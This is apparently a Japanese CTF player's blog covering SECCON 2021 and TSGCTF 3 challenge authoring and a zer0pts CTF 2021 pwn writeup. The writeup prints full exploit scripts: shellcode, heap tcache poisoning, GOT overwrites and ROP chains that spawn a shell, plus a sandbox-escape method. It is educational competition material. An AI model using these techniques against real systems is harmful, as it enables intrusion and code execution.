SECCON 2021で作問し、運営中ボードゲームをしました。
SECCON 2021で作問し、運営中ボードゲームをしました。楽しかったです。
作問
seccon_tree
Pythonのrefcountに関連したPwnの問題。オタクはすぐ言語処理系関連の問題を作ってしまう。
writeupはhackmdにあります
dis-me
Pythonのパッカーっぽい問題。っぽいってだけ。 当初は、再帰的に自身を参照するcode objectみたいなのを作ったりしたかったが、これは、marshalが許さなかった(pycで保存できなかった)。残念。 妥協を重ねた結果このような感じに。
writeupはhackmdにあります
運営中ボードゲーム
BGAに登録して、CTFer各位と遊びました。その他お絵かき系ゲームをいくつかやりました。
感想
楽しかったです。各位とdiscordでわいわいできて十分良かったんですが、来年はオンサイトイベントが開催できると、良いな...
SECCON、僕は楽しいところしかやってない感じなんですが、事務的なところやインフラ周りなど様々な人々の尽力がありギリギリの感じで存在できているみたいな感じだと思っているので、お疲れさまですと最後に言いたいです。
SECCON併設RTACTFで、pwnerとして走りました🏃
走りました。
動画はここから見れます。
コンテストサイトは(生きていれば):RTACTF 2021
noalloca 156.23 sec
int main() { unsigned size; char buf[0x80]; /* Input size */ printf("size: "); scanf("%d%*c", &size); if (size > 0x80) { puts("*** buffer overflow ***"); return 1; } /* Input data */ printf("data: "); readn(buf, size-1); return 0; }
結論としては、size=0のときinteger overflowなんですが、初手人力fuzzerをしているときに+を入れたらバグったのでそのまま走りきりました(後から考えると、意味不明な行動)。比較的素早く解けました。
alloca 275.46 sec
int main() { int size; char *buf; /* Input size */ printf("size: "); scanf("%d%*c", &size); /* Input data */ printf("data: "); buf = alloca(size); readn(buf, size); return 0; }
一見するとバグが無くねと思って焦りましたが、allocaは負の方向のmitigationはないらしい、そうなんだ。ドキドキしました。-1を入れて、バッファ・オーバーフローすると良いです。
constalloca 673.13 sec
void readn(char *ptr, int size) { /* Read data up to `size` bytes into `ptr` */ for (int i = 0; i != size; i++, ptr++) { read(0, ptr, 1); if (*ptr == '\n') break; } *ptr = '\0'; // terminate by null } int main() { char title[0x18]; char *content = alloca(0x80); /* Input title */ printf("title: "); readn(title, 0x18); /* Input content */ printf("data: "); readn(content, 0x80); return 0; }
これはマジで焦りました。まず、main見るとバグがないので。 まあバグがないということは、ということでreadnをおもむろに見ると、readnにoff by one errorがあります。readnは心理的に無視しがちなので怖いですね。
次に、off-by-oneで書き込めるのは0なので、もうこういうことやろwみたいな感じで適当にソルバーを書きます
動画でいうとこの当たりで、シェル取れるスクリプトを書いていたんですね(言い訳)。
ところで、pwn-noobなので、ここでガチャ要素が生まれるということに気づかず(もうこれで解けるように"仕組まれているはず"と思って)動かないので焦ります。HELP
色々ガチャガチャやった結果、やっぱ最初ので良かったんじゃねとなり、そうこうしているとローカルでシェルが取れたので、なんかガチャ要素あるんだっけ〜と思いながら適当にremoteで3回神頼みをしたらフラグが取れたので、良かったということにしました。
speedrunならではのドキドキですね。
https://gist.github.com/moratorium08/d271aae775f978821bd076d0ff7148f1
感想
CTFは普通24時間とか48時間とか潤沢な時間があり、あんまり"時間に焦る"ということは経験しないので(といいつつ、ギリギリになるとやる気が出る問題により結構タイムアタックすることもありますが)、speedrunは競技としてだいぶ違うなとなります。腰を据えてできるかどうかは割とでかい。普通のCTFで解けない問題は能力的に解けないみたいな感じになると思っているんですが、speedrunでは能力的に解けるというだけではダメなので。
この気持ちは、数学の期末試験とか、大学入試的なドキドキですかね。うっかり、誤った方向に掘っていってしまうと終わるのとケアレスミスで時間が潰れるドキドキ感
TSG LIVEでは割と冷やしてきた経験があるのですが、今回はめちゃくちゃな冷えにはならなかったのは良かったなと思います..
TSGCTF 3 個人的ハイライト
まさか謎言語のunsound bugは出ないよね
実は大きなハイライトは大会開催前に来た。
https://twitter.com/pwnyaa/status/1441765054014115849
CatastropheというOCamlのunsound問を作っていたのでとても怖かった。ちょっと媚びた感じの問題に最終的にしたけど振り向いてもらえず振られる
ptr-yudai stable infra / piyopiyo tasks / good support / -48 for ocaml / you shouldn't fool beginners
もうOCaml問は作りません🙅
プロのSREのしごと
詳しいことは博多市とかが書きそうだけど、実はCTF開始当初CTFTimeログインを使った人間のサブミッションが見えたり見えなかったりしてスコアボードが少し壊れたり、CTFTimeログインをした結果404にredirectされると言われたりして謎だった。
ここでプロのSRE(職業がそうなので)であるところのくっきーさんが原因究明をするまでのプロセスが職人技で隣(正確にはDiscord越しだが)で見ていて楽しかった。報告されている不具合とCTFTimeログインの関連及びDBの整合性等から、CTFTime側のemailの設定が空文字列になっている人間がいる場合に起きているらしいことを突き止め、その上でこの問題が起こらないようにCTFdにパッチを当ててデプロイを迅速にしていた。
https://github.com/tsg-ut/CTFd/commit/8351116d925c4d1c42a6a51a404af37879738022
大変そうだが傍から見ていると面白かった
バックエンドが燃えている中みんはやのクイズを作るsmallkirby
実際一日目16~18時は上述の件でかなりバックエンドが燃えていたが、その中で、クイズをもくもくと作り続け、なんなら完成したタイミングで燃えている人間をクイズに誘うなどしていた。さすがにクイズをしている場合ではなかった。
落ち着いてきたところで、smallkirbyプレゼンツのみんはやのクイズを楽しむ
炎上中に作りためてあった60問くらいの問題をやる。 勝ったり負けたりした。
負けた回のスクショはない
Beginner's Webより先にHard問のsolverが出る
ここらへんでBeginner's Webやばいんじゃないかと話題に
Beginner's Webの解法がワザップと話題に
博多市がそうはいってもこれは"beginner"なんだと、TSGerに実演。ブラウザでの操作がワザップに載ってそうと話題になる。
寝る
Surveyを出す前に寝て出した後寝た
起こされる
ptr-yudaiさんからの質問が来たので飛び起きた(正確には電話で起こされた)
keymoonさんがmiscを全部解く
すごい。misc大好きグループTSGと相性が良さそう。
Beginner's Webが22時間半後くらいに解かれる
すごい。実際あれだけシンプルなペイロード、シンプルなアプリケーションでよくこの時間まで残ったなというのもすごいし、酒を飲んだ結果解いたkusanoさんもすごい。
status badge
CTF後にあんまり言及がなくて(僕が作ったわけじゃないけど)悲しい。くっきーさんが、Web問を作るのを犠牲にした代わりに作った
ちなみに、ここすき(なんか全部の問題が出る前に、くっきーさんが寝ちゃって、追加問題に対するステータスバッジが動かないのをmikitさんがなんとか動かしていた図)
上の文章を見せたときのJP3BGYくんの反応
参加者から直電来るとしたら運営ちょっとしたくないな..
"Survey"のおもしろwriteup
普通に知らんかった。どうするのが良いんですかね?
TSGCTF 3 で作問・作問チェックをした問題について
作問
今年はPwnを6問作った。ちなみに接頭語がcだらけなのは気づきましたか?(特に意味はないです)
Beginner's Pwn (beginner) 283 solves
Writeup: https://hackmd.io/@moratorium08/SJiWXXvNF
もともとはCoffeeをBeginner向けに作りかけていたが、想定よりテクい感じになってしまったので、もっとテクい感じではなく、博多市でも解いてくれるような問題でかつpwn感ある問題を目指した(ちなみに忙しくて解いてくれなかった)
本当はBeginner枠はPwnわかる人間でも考えないと分からないし、わからない人間も考えればわかるみたいな問題を出せると理想だが、残念ながらアイデア不足で前者が満たせなかった。
Coffee (easy) 48 solves
Writeup: https://hackmd.io/@moratorium08/ryMcaePVY
ソースコードがとても短いのでもう一回載せちゃお
#include <stdio.h> int x = 0xc0ffee; int main(void) { char buf[160]; scanf("%159s", buf); if (x == 0xc0ffee) { printf(buf); x = 0; } puts("bye"); }
特に話せる話は、無いな
cHeap (easy) 39 solves
Writeup: https://hackmd.io/@moratorium08/BJ3j8-wNK
かなり典型的なheap風水問。zer0ptsの解く速度があまりに速くてさすがに怖かった。
Cling (medium) 5 solves
Writeup: https://hackmd.io/@moratorium08/S1ig4xwVF
Clingで遊んでいたら気づいた事実を元に作った問題。個人的には露骨にclingのevalを呼び出す部分があんまり気に入ってなくて、clingがJITをlazyな感じで、関数を呼び出すときに初めてコンパイルする感じだったらなおよかったなあという感じ。
ところでClingってよく動いてますよね、すごい。
Chat (medium-hard) 1 solve with azaika
Writeup: https://hackmd.io/@moratorium08/Sk7puL84Y
難しめの問題枠。もともとは、std::variantのemplaceを使っていて、クソデカ数を入れると、一個前の選択肢に依らずに例外で落とすことができていたが、azaikaという人間が現れてC++を教えてくれたのでよりバグが込み入った。
そもそものアイデアは、例外吐いて落ちるときstack unwinding起きないんだという驚きから生まれた問題(実際には実装依存だがclang/gccは起きないっぽい)。この挙動あんま知らなかったけど結構怖いと思うんだよね。やはりちゃんと例外はキャッチしないといけないね
Catastrophe (hard) 1 solve
Writeup: https://hackmd.io/@moratorium08/Sk7puL84Y
OCamlのunsound問。ただ、SECCONのときと違いocamloptでネイティブのマシンコードにするのではなくocamlcでバイトコードを吐くようにした。なので最終的にはバイトコードを実行するVMのpwn。
実は2018年頃に一度この形での問題(Obj.magicさえあれば、OCamlのインタプリタがPwn可能なのか)というのを作ろうとしてできるだろうけどよくわからないねと思ってやめた経験があるので、実はちょっとエモという話も。
まあもう二度とOCamlを題材にすることはないでしょう。
作問チェック
Rev/Pwn・言語処理系の問題は僕の担当という気持ちで眺めてた。今回は過去2回と比べてもかなりレビューを互いにしたと思う。
lkgit by smallkirby
中間発表に悩まされる中作ったかーびーかーねる問。userfaultfdを"うまく"起こさないといけない問題。 あんまカーネル問ができないので、https://github.com/smallkirby/kernelpwn と https://ptr-yudai.hatenablog.com/ を見ながらスクリプトキディをして解いた。なのであんまり読ませられるコードにはなっていない。
https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-lkgit-c
Beginner's Rev by mikit
最初作問チェックをしたときに比較的想定解通りに解いたので、かえって紛らわしかったかもしれない。gdb謎機能とか使わずに、バイナリパッチして、forkした場合に/dev/nullに吐き出す部分を取り除いた。そうすると、OK/NGの数の変化で前からbrute forceができる。想定はstraceで同様にOK/NGの数を数える方針で、ゴリゴリrevをしなくても綺麗に解けるBeginner's Revにふさわしい問題
https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-beginners_rev-py
Natural Flag Processing by dai
もともともう少しオートマトンの構造が簡単だったときに一度解いて、その後ネタを知った状態で解き直した。
基本的には、可能なケースをトラックするコードを書けばいい。Colabって便利なんですね
optimized by ishitatsuyuki
ある意味TSGCTF唯一のrev問らしいrev問。やや典型に近かったかもしれない分だけソルバーが出ていた気がする。UPX + 難読化つきのバイナリなので、gdb使ってバイナリを取り出して、IDAで開くときれいに解析してくれた。
あとは、当該処理を元に可能なケースを全探索
https://gist.github.com/moratorium08/6f62359389d45cab971dbad562380327#file-optimized-cpp
Beginner's Web by hakatashi
分からんくて泣いてた。普通にraceだと思っちゃうよね。よくこういう問題が作れるなあ。
Beginner's Crypto by hakatashi
"三つ子素数"についてわかったとき、そっかーという気持ちに
UB sharp by JP3BGY
これは、作問チェック実は結構していたんですが、結局非想定解がいっぱいあった... 申し訳ない。言語問、かなり不可能。出す前にホワイトボックスにするかブラックボックスにするか議論で盛り上がったが、やはり(出すなら)ホワイトボックスしか勝たんなあという気持ちに。
僕が見つけた非想定解は、sanitizerのバグと旧バージョンで可能だった変数の上書き解。実はこの後者に対応するために、当該変数をインスタンス変数にしたのが運のつきだった。直したところに目がいかなくなっていた。
しかし、うまいことGetTypeをしてAssemblyを取り出してReflection頑張る解はレビュー中普通に見つけられておらず、これは普通に駄目だった。
感想
CTF開始前は割と胃が痛かったし、そもそも準備がとてもしんどかった。ただ、よくわからんけど結局開催後は楽しかったという気持ちだけが残るんですよね。
来年、、あると、いいですね?
zer0pts CTF 2021 writeup
zer0pts CTF writeup
zer0pts CTFにTSGとして参加して、7th位でした。私はもっぱらpwnの問題ばかり解いていました。Pwnの問題しかほとんど見ていませんが、非本質的なパートが排除されていて、Pwnに集中できる良い問題が揃っていてよかったです。
実はCTFを開催した場合にwriteupを書いてもらえると嬉しいことを認識していて、今回はせっかくなので感想のつもりで書こうと思います。 なお、もう既に公式で質の良いwriteup が存在しているので、基本的にはそちらを参照するのが良いとは思います。
Not Beginner's Stack (warmup, pwn)
warmupということで、初心者向けにFOR_BEGINNERS.mdと題した文章が添付されていました。内容は、関数呼び出しの仕組みの一般論と今回の問題の題意についてです。初心者なので当然この文章を一通り読んでから解きはじめました。
問題のプログラムについて要約すると、一般的な関数呼び出しでは、スタック上に戻りアドレスが保存されるのに対して、今回は、bss上に別途「関数呼び出しテーブル」を確保しておき、callに対応するタイミングで戻りアドレスをテーブルに保存、retに対応するタイミングでテーブルを検索して次にジャンプするべき先を取り戻す、というふうになっているようです。
バイナリを開くと自明なBoFを含む関数vulnと
vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret
バグの無いnotvuln
notvuln: ;; char buf[0x100]; enter 0x100, 0 ;; vuln(); call vuln ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret
が定義されていて、プログラム自体はnotvulnを実行するという形になっています(vuln関数を内部で呼び出すのだからnotvulnが言うほど脆弱性が無いと言って良いのかわからないですけど)。 checksecをすると
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 24) Symbols No 0 0 chall
のようになっています。問題は、retアドレスがスタックに無いのでBoFができない点です。どうしましょう。
答えは、スタック上に退避されているrbpを書き換えると、nonvuln内のreadで lea rsi, [rbp-0x100]
と書かれている部分でrbpが任意の値にできる、つまり、任意書き込みが可能です。書き込む先は当然、例の関数テーブルで良くて、notvulnの "戻りアドレス" を今から一緒に流し込むシェルコードの先頭に向ければそれでシェルが取れます。zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
N = 4 target_table = 0x600234 target_addr = 0x600234 + 0x8 * N shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' victim = target_table + 0x100 wait_for_attach() rs(p64(victim) * (0x200//8)) rs(p64(target_addr) * N + shellcode) interactive()
これがPoCです(完全版)。簡単な問題ですがfirst bloodでした✌
safe vector
C++のバイナリです。嫌ですね。でもソースコードがあると... 嬉しい
template<typename T> class safe_vector: public std::vector<T> { public: void wipe() { std::vector<T>::resize(0); std::vector<T>::shrink_to_fit(); } T& operator[](int index) { int size = std::vector<T>::size(); if (size == 0) { throw "index out of bounds"; } return std::vector<T>::operator[](index % size); } };
上のようなstd::vectorを継承したクラスのインスタンスvecが渡されて、push_back, pop_back, load, store, wipeができます。上述のクラスは、インデックスアクセスで配列外参照を検知できるようにする意図で作られたもののようです。
ところで、C言語のmodは、負の値 % 正の値は負の値になるという、(比較的)有名な話があって、indexに負の値を与えるとindex % size
は負の値になります。配列外参照ができますね(JavaScriptとかもこの流儀に従っていて、一方でPythonやRubyは数学的によくある方の剰余になっているはずです)。
あとはヒープ風水です。
- heap leakやlibc leakが適切なサイズまでvectorを生やして行けば得られます
- tcache poisoningでfree_hookを得たいですが、vectorは2倍2倍に大きくなっていって、微妙に上の方で作られた小さいtcacheに届きません。
- そこで、vectorの中にfake chunkを作って、freeするときに小さいものっぽく誤認させると、届きます。
for i in range(16): push_back(i) heap_base = (load(-9) << 32) + (load(-10)) - 0x10 print(hex(heap_base)) for i in range(0x400 - 16): push_back(i+1) libc_base = (load(-515) << 32) + (load(-514)) - 0x10 - 0x1ebbd0 print(hex(libc_base)) wipe() for i in range(64): push_back(i) store(-2, 0x51) storeword(18, 0x110 - 0x50 + 1) wait_for_attach() for i in range(64): push_back(64 + i) system = 0x55410 + libc_base free_hook = 0x1eeb28 + libc_base - 0x8 storeword(-68, free_hook) wipe() for i in range(16): push_back(i) store(-2, 0x111) wipe() for i in range(8): print(i) push_back(i) storeword(0, 29400045130965551) storeword(2, system) wait_for_attach() push_back(9) interactive()
以上がPoCです(完全版)。これもローカルでフラグが取れたときはfirst bloodだったんですが、サーバーが日本から遠くてタイムアウトまでに間に合わず、AWSでインスタンス作ってpwntools入れてなどをしてフラグを取ったところ、second bloodになってしまいました... 残念。結構脳死PoCなのでもうちょい頑張れば効率化できたかもしれません。
OneShot
main関数をそのまま貼ると
int main() { int *arr = NULL, n = 0, i = 0; printf("n = "); scanf("%d", &n); if (n >= 0x100) exit(1); arr = calloc(n, sizeof(int)); printf("i = "); scanf("%d", &i); printf("arr[%d] = ", i); scanf("%d", &arr[i]); puts("Done!"); return 0; }
です。これで問題になるんだからすごいですね。先にchecksecを確認しておくと
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70) Symbols No 0 1 chall
です。Partial Relro + No PIEです。匂いますね。
一見すると、得られるバッファがheapにあるんだから何もできないじゃん、という感じに見えるんですが、callocにクソデカい値を入れるとNULLが帰ってくるということを思い出すと、scanf("%d", &arr[i])
で任意アドレス書き込みができるということが分かります。先程確認したようにGOT書き換えが可能かつ、GOTのアドレスが固定なので、とりあえずGOTを書き換えましょう。書き換える先はもちろんputsで、このまま終わってしまっては困るので、とりあえず再びmainに戻ってくるようにmainに書き換えます。無限ループの完成です。
こっからはまた†風水†です。とにかく今何としても知りたいのはlibcのアドレスです。これが取れれば、calloc -> systemにGOT上で書き換えた上で、calloc("/bin/sh\x00")ができます。どうすればいいでしょう?
ところでlibcのアドレスが拾えそうな場所は限られていて、具体的には上で実は示さなかった以下のsetup関数になります
__attribute__((constructor)) void setup() { alarm(60); setbuf(stdin, NULL); setbuf(stdout, NULL); }
この中でsetbufの引数に渡されているstdinは、libcのアドレスを指しています。この値をリークしたいです。ちなみにsetbufのGOTをprintfに変えるというのではリークできません。というのもstdinのポインタの指し先は残念ながらlibcのアドレスではないからです。
つまり、やりたいのは、stdinのポインタを整数として解釈して表示させる機能 printf("%p", p)
のp
にこのポインタを突っ込んだ上で、printfを実行する、みたいなことです。よく見直してみるとそのような機能がこのプログラムにはあって、具体的には、printf("arr[%d] = ", i);
です。こんな余計な表示しているんだから怪しいですよね。
配られたバイナリをディスアセンブルしてみると
4007d4: 89 c6 mov %eax,%esi 4007d6: 48 8d 3d 14 01 00 00 lea 0x114(%rip),%rdi # 4008f1 <_IO_stdin_used+0x11> 4007dd: b8 00 00 00 00 mov $0x0,%eax 4007e2: e8 19 fe ff ff callq 400600 <printf@plt>
などとなっています。一方で、setupの関数のディスアセンブルは
400830: 48 8b 05 39 08 20 00 mov 0x200839(%rip),%rax # 601070 <stdin@@GLIBC_2.2.5> 400837: be 00 00 00 00 mov $0x0,%esi 40083c: 48 89 c7 mov %rax,%rdi 40083f: e8 ac fd ff ff callq 4005f0 <setbuf@plt>
のようになっています。よく見てみるとstdinのポインタをraxに一度入れてくれています。そのうえで、上のアセンブリを見ると、ちょうど第二引数にraxの値を入れていますね?
ただ一つ困ったことがあります。setbufのGOTを当該の0x4007d4に書き換えて、puts -> setupに書き換えて、実行すると、スタックアラインメントの問題で(16byte alignになっていることをprintfが要求する)プログラムが異常終了してしまいます。これを回避するために、"二度"ずらすということをします。setup内の途中に直接飛べばこれを回避できます。
def modify(pos, val): rs(-1) rs(pos // 4) rs(val) def modify8(pos, val): modify(pos, val & 0xffffffff) modify(pos + 4, val >> 32) modify(puts_got, main_addr) modify8(exit_got, 0x0000000000400830) modify8(setbuf_got, nazo) #wait_for_attach() #libc_base = just_u64(s) #print(hex(libc_base)) rs(300) recvuntil('arr[') s = recvuntil(']') print(s) libc_lower = int(s) system_lower = libc_lower - 0x196570 print(hex(libc_lower), hex(system_lower)) rs('+') modify8(exit_got, ret) modify8(binsh, u64("/bin/sh\x00")) modify(calloc_got, system_lower) wait_for_attach() rs(str(binsh)) interactive()
以上がPoCです(完全版)。これはsecond bloodでした。 ちなみに実は上述でprintfのリークした後のscanfでは書き込み先のポインタがvalidではないので適当な数を入力するとセグフォで落ちますが、これは、+
などを入れることでスルーしてもらうことができます。
stopwatch
これはプログラムが長いので、挙動は実行の様子から説明します
What is your name? > hello How many times do you want to try? > 100 -=-=-=-= CHALLENGE 001 =-=-=-=- Time[sec]: 1 Stop the timer as close to 1.000000 seconds as possible! Press ENTER to start / stop the timer. Timer started. Timer stopped. Faster by 0.245760 sec! Play again? (Y/n) Y -=-=-=-= CHALLENGE 002 =-=-=-=- Time[sec]: 1 Stop the timer as close to 1.000000 seconds as possible! Press ENTER to start / stop the timer. Timer started. Timer stopped. Slower by 0.044928 sec! Play again? (Y/n) n -=-=-=-= RESULT =-=-=-=- Name: hello Best Score: 0.044928
名前とゲームをする回数を最初に入力し、各ゲームで、「x秒間隔でエンターを2度押せるかな?」ゲームをすることができます。上がその様子です。各ゲームの終了時に続けるかどうかが表示されます。ゲーム終了時には名前とベストスコアが表示されます。
実はこの問題は自明なBoFが二箇所あります。特に重要な方を上げると
int ask_again(void) { char buf[0x10]; printf("Play again? (Y/n) "); scanf("%s", buf); readuntil('\n'); if (buf[0] == 'n' || buf[0] == 'N') return 0; else return 1; }
この関数でscanfをしているところで好きな長さの文字を書くことができます。ただchecksecを確認すると
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 80) Symbols No 0 2 stopwatch/chall
となっていて、Canaryがあり、BoFするだけでは解けません。Canaryがリークしたいです。リークできそうな場所があるでしょうか? 怪しいところは、ここです
void ask_time(double *t) { printf("Time[sec]: "); scanf("%lf", t); readuntil('\n'); }
scanfの返り値を見てエラーハンドリングしていないので、ここで+
とか入力すると、何もtに書き込まれず、そのままスルーされます。ask_timeの引数が何だったかを思い出すと、
double delta, goal, diff; ask_time(&goal);
で、未初期化のgoalです。これでスタックの情報がリークできそう!となりますが、そう簡単ではありません。
What is your name? > uon How many times do you want to try? > 100 -=-=-=-= CHALLENGE 001 =-=-=-=- Time[sec]: + Stop the timer as close to 0.000000 seconds as possible! Press ENTER to start / stop the timer.
0、らしいです。canaryがリークできませんでした。ダメですか?実装をよく見てみると
int main(void) { unsigned char i, n; double *records, best = 31137.31337; ask_name(); n = ask_number(); records = (double*)alloca(n * sizeof(double)); for(i = 0; i < n; i++) records[i] = 31137.31337;
のようにallocaでゲーム数分のメモリを確保しています。allocaというのは、mallocのように動的にサイズを決めて、メモリを確保することができる仕組みで、mallocとの違いは、freeをしなくて良い代わりに、生存期間がこの関数内です。具体的には、スタックを上げ下げすることで、メモリを確保しています。これを念頭に置くと、スタックを良い感じに上げ下げすると、ask_name
やask_number
で使われたcanaryの位置に、goalを置くことができることに気づきます。
What is your name? > 1 How many times do you want to try? > 16 -=-=-=-= CHALLENGE 001 =-=-=-=- Time[sec]: + Stop the timer as close to 617509278313277091542227769970559604164567213334943896650100539216663619993774220164116246091155517995302682177562902367971147901679919912594346122149888.000000 seconds as possible! Press ENTER to start / stop the timer.
ヤバいですね。適当なtranslator
#include <stdio.h> typedef union { double x; unsigned long long y; } U; int main(void) { U v; scanf("%lf", &v.x); printf("%llx\n", v.y); return 0; }
を書くと、この表示された値は 5fa794a51be9dc00
であることが分かります。canaryがリークできました(ちなみにcanaryの値によっては、リークができないので注意)。
canaryさえリークできればあとはROPをすればよいです。
server = process('translator') rs('/bin/sh') rs('15') rs('+', r=':') recvuntil('close to ') v = recvuntil(' ') print(v) server.sendline(v) l = server.recvline() canary = int(l, 16) sendline('\n') print(hex(canary)) recvuntil('(Y/n) ') payload = [ pop_rdi, # pad pop_rdi, leak, puts_plt, ask_again, ] pad = 'A' * 0x18 + p64(canary) payload = ''.join(map(p64, payload)) ''' b * 0x400915 ''' wait_for_attach() sendline(pad + payload) libc_base = just_u64(recvline()) - libc_start_main_offset print(hex(libc_base)) recvuntil('(Y/n) ') binsh = libc_base + binsh_offset system = libc_base + system_offset payload = [ pop_rdi, # pad ret, pop_rdi, binsh, system, ] payload = ''.join(map(p64, payload)) wait_for_attach() sendline(pad + payload) interactive()
最初にlibcアドレスをリークするROP、その後でもう一度ask_againをして、二番目でsystem("/bin/sh")を実行するROPを組んでいます(PoCの完全版)。
nasm kit
概要は、「x86のアセンブリを受け取って、sandbox下で実行したときに、sandbox escapeできますか?」という問題です。実装の詳細は載せきれないですが、重要なのはsystem callのハンドラーです。
DEFINE_HANDLER(handler_syscall) { char *buf; /** 省略 **/ case SYS_mmap: /** SYS_mmap */ REG_RETVAL = syscall(SYS_mmap, REG_ARG1, REG_ARG2, REG_ARG3, REG_ARG4, REG_ARG5, REG_ARG6); if ((void*)REG_RETVAL == MAP_FAILED) { /* Failed to allocate*/ REG_RETVAL = -1; } else if (REG_RETVAL != REG_ARG1) { /* Invalid address */ syscall(SYS_munmap, REG_RETVAL, REG_ARG2); REG_RETVAL = -1; } else { /* Success */ if (UNICORN_ERROR(uc_mem_map_ptr(uc, REG_RETVAL, REG_ARG2, UNICORN_PROT(REG_ARG3), (void*)REG_RETVAL))) ABORT_PROGRAM("Error on uc_mem_map_ptr"); REG_RETVAL = 0; } break; case SYS_munmap: /** SYS_munmap */ if (syscall(SYS_munmap, REG_ARG1, REG_ARG2) != 0) { REG_RETVAL = -1; } else { if (UNICORN_ERROR(uc_mem_unmap(uc, REG_ARG1, REG_ARG2))) { ABORT_PROGRAM("Error on uc_mem_unmap"); } REG_RETVAL = 0; } break; /** 省略 **/
mmapでなぜか「親と子供のアドレスがストレートマップになるように」メモリマップを構築しています。とても怪しいですね。
この問題は2つのパートに分かれます
です。
前半:親のアドレスリーク
このsandboxでは、addr' = mmap(addr, size, ...)
として得られたaddr'がaddrと一致していなかった場合は、その領域をmunmapした上でエラーを返すような実装になっています。mmapではMAP_FIXED
を指定しなければ、アドレスはただのヒントとして扱われるだけで、指定したアドレスの領域に被りが生まれる場合は別の場所から、適切なサイズのメモリを確保します。つまり、今回のsandboxにおいては、mmapの成功・不成功を見ることで、「親の空間にメモリマップが存在しているか?」を検査することができます。
基本的には、二分探索をすれば良いですが、リモートでmmapのサイズとして指定してエラーが帰らないサイズがあまり大きくなかったので、この探索はさらに2つのパートに分かれます
- [0x550000000000, 0x570000000000)までの領域を0x80000000ずつ前から順に調べていって、エラーになる場所を探す。その領域を[X, X+0x80000000)とする
- [X, X+0x80000000)を二分探索していき、どこから親のコード領域が開始するかを正確に発見する。
Cで上述のアルゴリズムを書くと以下のようになります(なおmmapの仕様が違うので、上のプログラムをLinux上でコンパイルしても、意図したとおりには動きません)
#define SIZE 0x80000000llu typedef unsigned long long u64; int main(void) { u64 addr = 0x550000000000llu; u64 lb = 0x550000000000llu; u64 ub = 0x570000000000llu; for (u64 i = lb; i < ub; i += SIZE) { u64 x = (u64)mmap((void*)i, SIZE, 0, 0x22, -1, 0); if (x != 0) { addr = lb; lb = (i >> 12); ub = (i + SIZE) >> 12; break; } else { munmap((void*)i, SIZE); } } while (ub - lb > 1) { u64 mb = ((ub + lb) / 2); u64 size = mb - addr; u64 y = addr * 0x1000; u64 z = size * 0x1000; u64 x = mmap(y, z, 0, 0x22, -1, 0); if (x != 0) { ub = mb; } else { lb = mb; munmap(y, z); } } printf("%llx\n", lb * 0x1000); scanf("%llu", &addr); return 0; }
以上で、親の空間のコード領域のアドレスをリークすることができました。
後半:親で任意コード実行
ここまでは良かったのですが、この後親の空間で任意コード実行をするにはどうすればよいでしょう。mmapでrwxを作れるので、RIPが取れれば、勝ちですが、プログラムにそのようなことができるバグは無さそうです。ここでmmapだけで、RIPを書き換えるにはどうすればいいっすかね〜とkcz146 さんに尋ねたところ「MAP_FIXEDで、うまいこといかんの?」と言われて、ほえーとなります。
mmapのフラグでMAP_FIXEDを指定すると、mmap(addr, size, ...)で指定したaddrがヒントではなく実際にマップされる場所になります。これは既にマップされていても強制的に上書きされます。つまり、これを用いて、コード領域のメモリをガバっと書き換えてしまえないか?というアイデアになります。
実際にこれはうまくいきます。メモリマップを見てみると以下のようになっていて、
gdb-peda$ vm Start End Perm Name 0xdead0000 0xdeae0000 rw-p mapped 0x0000561813dba000 0x0000561813dbd000 r-xp /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator 0x0000561813fbc000 0x0000561813fbd000 r--p /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator 0x0000561813fbd000 0x0000561813fbe000 rw-p /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
特に、base + 0x2000の位置をダンプしてみると
gdb-peda$ x/40gx 0x0000561813dbc000 0x561813dbc000 <__static_initialization_and_destruction_0(int, int)+44>: 0xed358d4800201004 0x0fe6058b48002012 0x561813dbc010 <__static_initialization_and_destruction_0(int, int)+60>: 0xef66e8c789480020 0x894855c3c990ffff 0x561813dbc020 <_GLOBAL__sub_I_reg_vals+3>: 0x01bf0000ffffbee5 0xffffffa4e8000000 0x561813dbc030 <_GLOBAL__sub_I_reg_vals+19>: 0x7d89e5894855c35d 0x23fc458bf87589fc 0x561813dbc040 <std::operator&(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>: 0xe5894855c35df845 0x458bf87589fc7d89 0x561813dbc050 <std::operator|(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+12>: 0x4855c35df8450bfc 0xfc458bfc7d89e589 0x561813dbc060 <std::operator~(std::_Ios_Fmtflags)+10>: 0xe5894855c35dd0f7 0xf87d894810ec8348 0x561813dbc070 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+12>: 0x8bf8458b48f47589 0xc789d689f4558b00 0x561813dbc080 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+28>: 0x48c289ffffffbfe8 0x458b481089f8458b 0x561813dbc090 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+44>: 0x48e5894855c3c9f8 